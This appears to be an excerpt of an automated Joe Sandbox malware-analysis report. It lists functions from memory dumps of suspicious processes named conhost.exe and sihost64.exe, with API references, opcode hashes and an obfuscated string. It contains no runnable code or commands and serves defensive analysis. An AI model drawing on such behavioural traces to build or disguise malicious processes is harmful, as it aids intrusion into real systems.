Source File: 00000001.00000002.1725057798.0000015759250000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000015759250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_15759250000_conhost.jbxd

Yara matches

Similarity

API ID: ArrayCreateDestroyInstanceSafe
String ID:
API String ID: 3902440814-0
Opcode ID: e3a29ec6c90617ad7c1928cbae39db72877cdd96e7781ee4f5e73e7a13d7ce10
Instruction ID: e504df1639c4aa6f9abf43b7bfe65154222cffa627adc96d5fddcd857858098b
Opcode Fuzzy Hash: e3a29ec6c90617ad7c1928cbae39db72877cdd96e7781ee4f5e73e7a13d7ce10
Instruction Fuzzy Hash: 51817E70218E488FD769EF28D889BA777E1FF95305F004A6D948BCB191EB31E945CB41

Function 000001575946D3BA Relevance: 1.6, APIs: 1, Instructions: 125
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000001575946D3D4

Memory Dump Source

Source File: 00000001.00000002.1725057798.0000015759250000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000015759250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_15759250000_conhost.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f89ad9e96b35fafe6bd70e564392d15cd00fb15afb359a287abc9c565ef81a9a
Instruction ID: d0b230256df0c46299d86c5a46cf61d8e15c1bc4c93e602600baa1a01120371a
Opcode Fuzzy Hash: f89ad9e96b35fafe6bd70e564392d15cd00fb15afb359a287abc9c565ef81a9a
Instruction Fuzzy Hash: 9B31B67131CE588FEB59AA28EC863AA73D5EBD4311F001169EC4BC72C6EE64ED4187C1

Function 000001575946D2AF Relevance: 1.6, APIs: 1, Instructions: 115
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000001575946D2BC

Memory Dump Source

Source File: 00000001.00000002.1725057798.0000015759250000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000015759250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_15759250000_conhost.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f58acd79c9a8aa4a66f57679936c769f9dd2a38ea99c88ea39cd659f90fbd764
Instruction ID: da28836ab380279fdda2d911e2937103535b3bee9c5fdc0fdd5c18fc908e982d
Opcode Fuzzy Hash: f58acd79c9a8aa4a66f57679936c769f9dd2a38ea99c88ea39cd659f90fbd764
Instruction Fuzzy Hash: 46318F7131CE588BDB55EA5CEC4629A73D2E7D8321F0402599C4BCB2C9EE60DD4187C1

Function 000001575946D2A2 Relevance: 1.5, APIs: 1, Instructions: 35
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000001575946D2BC

Memory Dump Source

Source File: 00000001.00000002.1725057798.0000015759250000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000015759250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_15759250000_conhost.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 18f38e2fc847854b46ad59a886f9863d7abffa86fceba1a0e453a632ae2104e0
Instruction ID: 1534f5c11627e2571a38f2093717298652f6a00a5ff5e680f2dc27fbfb12e6a7
Opcode Fuzzy Hash: 18f38e2fc847854b46ad59a886f9863d7abffa86fceba1a0e453a632ae2104e0
Instruction Fuzzy Hash: 88E0D83121CE1D5FF758E59DEC4A7F666D8D796372F00002EE54AC2141F145DC914391

Function 00007FFD9B8A01D3 Relevance: .3, Instructions: 337
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.1727463833.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8a0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43e6ef9a440f2b302c7dd0e08d6296b72999e57670a3adbc46ea4f3694308574
Instruction ID: fe74179f70d9188f74b5897baa5f11a6b2edea1287a73a6c3dd753a5f930002b
Opcode Fuzzy Hash: 43e6ef9a440f2b302c7dd0e08d6296b72999e57670a3adbc46ea4f3694308574
Instruction Fuzzy Hash: E991042BB0D1D51AD315F67DB8699ED3B60DFC223A71981FBC1D98E097CC08544B82A5

Function 00007FFD9B8A02F0 Relevance: .2, Instructions: 204
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.1727463833.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8a0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 376ac4fdde31c8f5eb38b2963560c897a98b4fde669f0fd99d68ab1b144325bd
Instruction ID: 0b12b62dd1d4913f2a2fc1b1897f6f692557b9673dc919eca23159974c987bb0
Opcode Fuzzy Hash: 376ac4fdde31c8f5eb38b2963560c897a98b4fde669f0fd99d68ab1b144325bd
Instruction Fuzzy Hash: 5A51493770E2991FD315EA7DE8689ED3B60EFC2339B1541BBC1D9CA097C918584B82A1

Function 00007FFD9B8A109A Relevance: .2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.1727463833.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8a0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94d5ba589cb03fccd48831ca6709e560780329b734f99ab574b1335248755580
Instruction ID: 4b3ceee7d336aa00b7a1fcc0b2ec3ffcbcfae1c66f3c7271f4d7c78ebf5fba0d
Opcode Fuzzy Hash: 94d5ba589cb03fccd48831ca6709e560780329b734f99ab574b1335248755580
Instruction Fuzzy Hash: FD514020A8F3C55FE317A374AC75A953FA16F87354F1E41DAE4C5CA0B3C6AA0589C722

Function 00007FFD9B8A03F3 Relevance: .1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.1727463833.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8a0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd59179c0e7df223beb1827dbab353c0d8ac5b498318f646fa7e6d07dc00b36c
Instruction ID: 47062b3439741998e01bb08af16af2eb094aeac8ef8c25530dd2415ce6755da5
Opcode Fuzzy Hash: bd59179c0e7df223beb1827dbab353c0d8ac5b498318f646fa7e6d07dc00b36c
Instruction Fuzzy Hash: 6C31192161F6CA5FE7219B7488745AA7FA0FF46614F0900BBC0D88A097C91C690AC366

Function 00007FFD9B8A05B5 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1727463833.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8a0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21847dde42a783dc37a0d0176100fd893d422ed5ebaab33f468ccca2f39c6528
Instruction ID: 8128153aff487832bfc42de5163bfecb4cd1c62d1e4235a234ebe5d8a9762e7c
Opcode Fuzzy Hash: 21847dde42a783dc37a0d0176100fd893d422ed5ebaab33f468ccca2f39c6528
Instruction Fuzzy Hash: A921B630B196494FD759ABB4C865BAE76E1EF4A304F1104BDD00EDB2E7CE2D5881C792

Function 00007FFD9B8A0628 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1727463833.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8a0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cccaacb56187f6aebb301ff28e20be503e20b4cb0eed72f50dc7441136df53d
Instruction ID: a81083a06f94125f9cbae351b7c0e20264a029475cb1dd079b826b3f6fd4e07d
Opcode Fuzzy Hash: 9cccaacb56187f6aebb301ff28e20be503e20b4cb0eed72f50dc7441136df53d
Instruction Fuzzy Hash: 13219530B196494FE749ABB48466BAE76E1EF49304F1104BDD00EDB2E7CE2D5841C792

Function 00007FFD9B8A6610 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1727463833.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8a0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 244f000b7c289c4ea147c519378b00ed2578d558119caa3d1eddd14a98156cfa
Instruction ID: d0b39066cd16e68a6bcf3efbbe0282ea5d2c38ea5ea8daee753fc8781c4d38d3
Opcode Fuzzy Hash: 244f000b7c289c4ea147c519378b00ed2578d558119caa3d1eddd14a98156cfa
Instruction Fuzzy Hash: 75117B21E1D9CD0FEB4AAB7894A6BE67B90EF56310F0441F6D45DC71CFDE28A80583A1

Function 00007FFD9B8A0118 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1727463833.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8a0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 883aa52eb40b9a4917309818c79cd3d30a31805e8d5a26546531072355ef98fb
Instruction ID: e22f27103954c9da442241bb5ae05a2bed16da09870e8e047995342b0b1d1864
Opcode Fuzzy Hash: 883aa52eb40b9a4917309818c79cd3d30a31805e8d5a26546531072355ef98fb
Instruction Fuzzy Hash: F6012B31B19D8D4AEF89AF6890A1BFA77A0EF98304F0045B6D41DC71CFDE29A8058391

Function 00007FFD9B8A0724 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1727463833.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8a0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58945e3dac9c185330386e6333afbc2923d9b13c63996b17cb12153a23bffb86
Instruction ID: 7c04d1976ebcd9349e6224518d5cd43dd381a5983ae44c21245feb3703287d13
Opcode Fuzzy Hash: 58945e3dac9c185330386e6333afbc2923d9b13c63996b17cb12153a23bffb86
Instruction Fuzzy Hash: CC019230A19A5D4FD749EFB888665EEB7E1EF49704B1100BED40ACB2D6CE396D42C742

Function 00007FFD9B8A0505 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1727463833.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8a0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6ff951bf2ee647c9dfa907628e7d196aea54593042ed8dd69d28f52978072fc
Instruction ID: 2fa91484418e93a2723c322c362d06a18e913596927852e86d9a52d672022d67
Opcode Fuzzy Hash: c6ff951bf2ee647c9dfa907628e7d196aea54593042ed8dd69d28f52978072fc
Instruction Fuzzy Hash: CB015E70E1A90E8FDBA4EFA88465AAC77E1EF59705F11007DD00ED72A6CE39AC41CB11

Function 00007FFD9B8A0567 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1727463833.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8a0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7532e7fc04cd8121ceb105e7a97a304204d001a12171295a503ef1b5e6994765
Instruction ID: d038b993f14b8fd421c27f40befa26da6320c9b62161cd54a3ff93a36046f4a2
Opcode Fuzzy Hash: 7532e7fc04cd8121ceb105e7a97a304204d001a12171295a503ef1b5e6994765
Instruction Fuzzy Hash: 22F0E920B1A71A3FD351EFF88CE99AE25C6CFC716474100BDD449C72E9DE1C9C054216

Function 00007FFD9B8A11E0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1727463833.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8a0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23e576ce6903603048644502fff64630c6c2d5043aa51752734cf0c386613865
Instruction ID: c9f24aab1d59aa9ac3e95178f86570badccfd54be8ddfcccda888b199f879cf4
Opcode Fuzzy Hash: 23e576ce6903603048644502fff64630c6c2d5043aa51752734cf0c386613865
Instruction Fuzzy Hash: ADE08021F2CC1D0F9794FB3C5495EA562D2EBDC31075545B6E40CC729AED24DC518781

Non-executed Functions

Function 000001575946E90E Relevance: .5, Instructions: 485COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1725057798.0000015759250000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000015759250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_15759250000_conhost.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aead6af51b41200c7faad30d12abe602ed119050d19f46eacd4953986aecc5ac
Instruction ID: 5cbe64ee918b41c3a6de789f10cd1cb40c1540abda8fa7868f971b1a80f28dc6
Opcode Fuzzy Hash: aead6af51b41200c7faad30d12abe602ed119050d19f46eacd4953986aecc5ac
Instruction Fuzzy Hash: 78E181B0628E458BDB69DF58D8867EB73D1FB95311F148229D88BCB1C1EB34EC16C681

Function 000001575946ED6A Relevance: .3, Instructions: 283COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1725057798.0000015759250000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000015759250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_15759250000_conhost.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3e321b4785e06cfc76593c4065e2a267ad969067c31a882a516f8b4e134ab4b
Instruction ID: 998024c9cd3316be01db4a637c03f2bad2f7aafeaae9a34a63b5da075429e336
Opcode Fuzzy Hash: f3e321b4785e06cfc76593c4065e2a267ad969067c31a882a516f8b4e134ab4b
Instruction Fuzzy Hash: 5FA12F71518A4C8FDB55EF28C889BEA77E9FBA8315F10466EE44BC7160EB30DA45CB40

Function 000001575946D4D2 Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1725057798.0000015759250000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000015759250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_15759250000_conhost.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9024142b0f504c64395661c2abff4caccef44dbafbcbe07c4f80d19b33edefa
Instruction ID: ffe9fe850661f7838bd0586d6ceb43bd97c648ddcf2cff22d0de4d32d36b70ed
Opcode Fuzzy Hash: b9024142b0f504c64395661c2abff4caccef44dbafbcbe07c4f80d19b33edefa
Instruction Fuzzy Hash: 328165B0618B498BDB59DF24DC957EAB7D4FB99301F00462DD49AC6181EF30E945CAC2

Analysis Process: sihost64.exePID: 4048, Parent PID: 5348COMMON

Execution Graph

Execution Coverage:	29.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	15
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 004010C4 Relevance: 4.7, APIs: 2, Strings: 1, Instructions: 189
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00401109
sprintf.MSVCRT ref: 0040123B

Strings

/sihost64, xrefs: 00401214

Memory Dump Source

Source File: 0000000A.00000002.1784760757.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1784645333.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.1784864968.0000000000403000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.1784889647.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_sihost64.jbxd

Similarity

API ID: memsetsprintf
String ID: /sihost64
API String ID: 4041149307-4205773068
Opcode ID: 340b51d94c547dc9600aa4fc2f31ce9ed4fc2ceb995e8576dbd42bee5433ba49
Instruction ID: aca2fdf8534d1f55052996b791b38ba642986683fcb313dcb59f68fb06fbf62c
Opcode Fuzzy Hash: 340b51d94c547dc9600aa4fc2f31ce9ed4fc2ceb995e8576dbd42bee5433ba49
Instruction Fuzzy Hash: 55712A61702B148DEB909B27DC5139A37A8B749FC8F804176EE4CA7B98EE3CCA44C744

Function 00401000 Relevance: 1.3, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

97casc*52>ps6cz+rgg<=c,g=>+d:.z+, xrefs: 00401098

Memory Dump Source

Source File: 0000000A.00000002.1784760757.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1784645333.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.1784864968.0000000000403000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.1784889647.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_sihost64.jbxd

Similarity

API ID:
String ID: 97casc*52>ps6cz+rgg<=c,g=>+d:.z+
API String ID: 0-363803121
Opcode ID: 7c3953f8a7c90db685ffea7de54f2d06ba9ad392580460fe7ac0a4260f709850
Instruction ID: 0d50406a0cd25772023a57935085f3dfc6f67c384a3cfb9a17e074b16623a215
Opcode Fuzzy Hash: 7c3953f8a7c90db685ffea7de54f2d06ba9ad392580460fe7ac0a4260f709850
Instruction Fuzzy Hash: BC214772B01A40DEEB04CBA9D8913AC3BF1E74878DF00846AEE5DA7B58DA38D5518744

Function 004022FA Relevance: .1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.1784760757.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1784645333.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.1784864968.0000000000403000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.1784889647.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_sihost64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a0ac8e6eccd96365346d7e5f4705697b6c7359cb9289b894d2f67c7d5b7cf9d
Instruction ID: 712002830166568aab168b156390cc9c0f9dd4445f1c5f10fc4b9559ecfc971b
Opcode Fuzzy Hash: 4a0ac8e6eccd96365346d7e5f4705697b6c7359cb9289b894d2f67c7d5b7cf9d
Instruction Fuzzy Hash: 83211CA4301A1488EA80DB57DE5539933A4BB49FC8F40453A9F4CB73E5EEBCC9018358

Function 0040224F Relevance: .0, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.1784760757.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1784645333.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.1784864968.0000000000403000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.1784889647.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_sihost64.jbxd

Similarity

API ID: memsetsprintf
String ID:
API String ID: 4041149307-0
Opcode ID: 4a964056c5c93370836b2055aa88bb79ebf9a1f25246f745588850a4ea836d32
Instruction ID: b0320e2237b37ba28e1691a43af3f9c87918e2f692b894f33fb3e2e628c141ca
Opcode Fuzzy Hash: 4a964056c5c93370836b2055aa88bb79ebf9a1f25246f745588850a4ea836d32
Instruction Fuzzy Hash: 1B01E4B6701B488DDB40DF66DD8138833A4B708BC8F00492AAF4CA7BA9DA78C6118748

Analysis Process: conhost.exePID: 6064, Parent PID: 4048COMMON

Execution Graph

Execution Coverage:	13.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	19
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0000029965304506 Relevance: 1.9, APIs: 1, Instructions: 378
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0000029965304664

Memory Dump Source

Source File: 0000000E.00000002.2901128329.0000029965300000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000029965300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29965300000_conhost.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e85963f26a05e09d368196b1c7f413e753b92ff7721d7fdd34470331445b4a6a
Instruction ID: bc41dddcdaf23efc60157b6934667904614708d6932eea93ef278d77e867f980
Opcode Fuzzy Hash: e85963f26a05e09d368196b1c7f413e753b92ff7721d7fdd34470331445b4a6a
Instruction Fuzzy Hash: 31C1DA30310B09CBEB59EA2CC499FBD73D9FB94760F14056DD58AC7186DB21D982CB92

Function 00007FFD9BAA41A6 Relevance: .5, Instructions: 471
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.2907348136.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9baa0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f30a17c2407a20583cdb76a1d7c48807895cbd63725f76e67cc53b95d9eb1d1c
Instruction ID: 9e3eb298b37edd2c30deae64088a7a673842614395110b00422078090fcec09a
Opcode Fuzzy Hash: f30a17c2407a20583cdb76a1d7c48807895cbd63725f76e67cc53b95d9eb1d1c
Instruction Fuzzy Hash: 7EF1D830609A4E8FEBA8EF28C8657E977D1FF55310F04426EE84DC72A5CF74A9458B81

Function 00007FFD9BAA4F52 Relevance: .5, Instructions: 457
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.2907348136.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9baa0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 684f1edd6f49e56c7de76862b6686b6b7f3387234d284d639ef9de3da0e4648b
Instruction ID: 50938c7a44e04375ff0f259356c0f06c908b23308a3d0b17ddd197897beadc6c
Opcode Fuzzy Hash: 684f1edd6f49e56c7de76862b6686b6b7f3387234d284d639ef9de3da0e4648b
Instruction Fuzzy Hash: 6DE1B330A09A4E8FEBA8EF28C8657F977D1FF54310F15426EE84DC7295CE74A9448B81

Function 00000299653042B2 Relevance: 1.7, APIs: 1, Instructions: 235
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CLRCreateInstance.MSCOREE ref: 0000029965304301

Memory Dump Source

Source File: 0000000E.00000002.2901128329.0000029965300000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000029965300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29965300000_conhost.jbxd

Yara matches

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: e3a29ec6c90617ad7c1928cbae39db72877cdd96e7781ee4f5e73e7a13d7ce10
Instruction ID: 39c2e05ad7ee9b885a23f48ced91d8bf81656abf957d1ca36ab918e3a6ec924f
Opcode Fuzzy Hash: e3a29ec6c90617ad7c1928cbae39db72877cdd96e7781ee4f5e73e7a13d7ce10
Instruction Fuzzy Hash: AF817231208F088FD768EF28C888BAAB7E5FFA5351F004A6DD59BC7151EA31E645CB51

Function 00000299653037BA Relevance: 1.6, APIs: 1, Instructions: 125
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00000299653037D4

Memory Dump Source

Source File: 0000000E.00000002.2901128329.0000029965300000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000029965300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29965300000_conhost.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f89ad9e96b35fafe6bd70e564392d15cd00fb15afb359a287abc9c565ef81a9a
Instruction ID: ef830c8203f151aed60703a722155ab83223dfa166f9a7bef51b0ef1dec9add3
Opcode Fuzzy Hash: f89ad9e96b35fafe6bd70e564392d15cd00fb15afb359a287abc9c565ef81a9a
Instruction Fuzzy Hash: 4531A53130CA098FEB49AA6CA849AAA73D9E794760F00115DED4BC3286DD74ED4687D2

Function 00000299653036AF Relevance: 1.6, APIs: 1, Instructions: 115
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00000299653036BC

Memory Dump Source

Source File: 0000000E.00000002.2901128329.0000029965300000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000029965300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29965300000_conhost.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f58acd79c9a8aa4a66f57679936c769f9dd2a38ea99c88ea39cd659f90fbd764
Instruction ID: 5bfd0fbcdfcb49f1ea94ce5920c3ae7bdd1402f1c59e3c28ce6f80e7639a49b7
Opcode Fuzzy Hash: f58acd79c9a8aa4a66f57679936c769f9dd2a38ea99c88ea39cd659f90fbd764
Instruction Fuzzy Hash: 8431A13130CE088BDB54AA5C9889B6A73DAE7D8B60F04025DDD0BC72C9DD61DD818792

Function 00000299653036A2 Relevance: 1.5, APIs: 1, Instructions: 35
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00000299653036BC

Memory Dump Source

Source File: 0000000E.00000002.2901128329.0000029965300000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000029965300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29965300000_conhost.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 18f38e2fc847854b46ad59a886f9863d7abffa86fceba1a0e453a632ae2104e0
Instruction ID: c38ad8eda7f3f4d29248dc1c2afadf0f729ef8267f1998ccb39e02e5f12c392b
Opcode Fuzzy Hash: 18f38e2fc847854b46ad59a886f9863d7abffa86fceba1a0e453a632ae2104e0
Instruction Fuzzy Hash: 92E0D83160CB0D5FF758969DD88ABB666DCD7962B1F00002EE649C2201E045D89143A2

Function 00007FFD9BAA0580 Relevance: .3, Instructions: 268
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.2907348136.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9baa0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 902744b0e0739c435f523da74de0e8251aa74bea1bc7b77c55c171f80247c927
Instruction ID: 62c461bf09c75db776fb7c982fd4a321d525bd98dd1df2412d758731334bdc54
Opcode Fuzzy Hash: 902744b0e0739c435f523da74de0e8251aa74bea1bc7b77c55c171f80247c927
Instruction Fuzzy Hash: 2771F871B0DA484FEB58FBBC946A6B977D2EF99714F04017DE48EC3293CE64A8028745

Function 00007FFD9BAA0561 Relevance: .3, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.2907348136.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9baa0000_conhost.jbxd

Similarity

API ID:
String ID:
